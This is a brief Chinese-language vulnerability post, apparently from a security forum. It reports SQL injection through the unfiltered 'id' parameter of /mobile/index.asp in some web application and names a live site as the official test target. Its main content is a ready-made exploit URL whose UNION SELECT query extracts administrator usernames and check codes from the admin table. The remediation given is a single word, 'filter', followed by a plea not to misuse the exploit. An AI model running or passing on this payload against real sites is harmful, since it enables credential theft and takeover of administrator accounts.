漏洞发现：鬼哥
漏洞文件：/mobile/index.asp
漏洞说明：未对变量id过滤 导致产生sql注入！
漏洞测试：http://www.5u.hk/ 官方
漏洞证明↓
漏洞EXP↓
/mobile/index.asp?act=view&id=1%20union%20select%201,Username%26chr(124)%26CheckCode%20from%20{pre}admin
漏洞修复↓
过滤。。。
放手上很久了，没怎么用。就放出来吧。希望只用于测试。不要恶意利用。